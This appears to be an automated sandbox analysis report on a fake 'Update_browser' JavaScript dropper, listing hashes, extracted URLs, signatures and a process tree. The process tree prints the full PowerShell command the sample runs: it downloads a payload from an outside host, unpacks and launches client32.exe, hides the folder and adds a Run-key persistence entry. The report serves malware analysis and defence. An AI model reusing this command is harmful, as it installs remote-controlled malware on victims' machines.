Analysis

  • max time kernel
    2s
  • max time network
    116s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/01/2024, 18:17

General

  • Target
    Setup/Update_browser_17.64532.js
  • Size 443KB
  • Sample240109-wxfapsfbgn
  • SHA256 082f04668c9da3d8f22cd743b8e96171792b5f5b7397a36c2736a232c8c19c91
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • ps1.dropper

    https://boxtechcompany.com/data.php?12832

  • exe.dropper

    https://boxtechcompany.com/data.php?12832

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Setup\Update_browser_17.64532.js
    1⤵
    • Blocklisted process makes network request
    PID:3076
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $tlKTCoiFaDOup='https://boxtechcompany.com/data.php?12832';$MvyOYjSSvtsfkqrFbUofkIdWxlPJDNPE=(New-Object System.Net.WebClient).DownloadString($tlKTCoiFaDOup);$hcdbUCzPICUNkogZrxNCH=[System.Convert]::FromBase64String($MvyOYjSSvtsfkqrFbUofkIdWxlPJDNPE);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $PouJYLHtetKMlPErVVYBBuAYdHaGdtB=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $PouJYLHtetKMlPErVVYBBuAYdHaGdtB -PathType Container)) { New-Item -Path $PouJYLHtetKMlPErVVYBBuAYdHaGdtB -ItemType Directory };$p=Join-Path $PouJYLHtetKMlPErVVYBBuAYdHaGdtB 'vib.zip';[System.IO.File]::WriteAllBytes($p,$hcdbUCzPICUNkogZrxNCH);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$PouJYLHtetKMlPErVVYBBuAYdHaGdtB)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $PouJYLHtetKMlPErVVYBBuAYdHaGdtB 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $PouJYLHtetKMlPErVVYBBuAYdHaGdtB -Force; $FSDFSSD.attributes='Hidden';$s=$PouJYLHtetKMlPErVVYBBuAYdHaGdtB+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
      2⤵
        PID:2772

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/2772-14-0x000002EA1F590000-0x000002EA1F5A0000-memory.dmp

          memory/2772-12-0x000002EA1F590000-0x000002EA1F5A0000-memory.dmp

          memory/2772-11-0x000002EA1F590000-0x000002EA1F5A0000-memory.dmp

          memory/2772-10-0x00007FF818700000-0x00007FF8191C1000-memory.dmp

          memory/2772-13-0x00007FF818700000-0x00007FF8191C1000-memory.dmp

          memory/2772-0-0x000002EA3B400000-0x000002EA3B422000-memory.dmp

          memory/2772-15-0x000002EA1F590000-0x000002EA1F5A0000-memory.dmp

          memory/2772-16-0x000002EA1F590000-0x000002EA1F5A0000-memory.dmp

          memory/2772-17-0x000002EA1F590000-0x000002EA1F5A0000-memory.dmp

          memory/2772-19-0x000002EA3B920000-0x000002EA3B932000-memory.dmp

          memory/2772-18-0x000002EA3B8D0000-0x000002EA3B8DA000-memory.dmp

          memory/2772-22-0x00007FF818700000-0x00007FF8191C1000-memory.dmp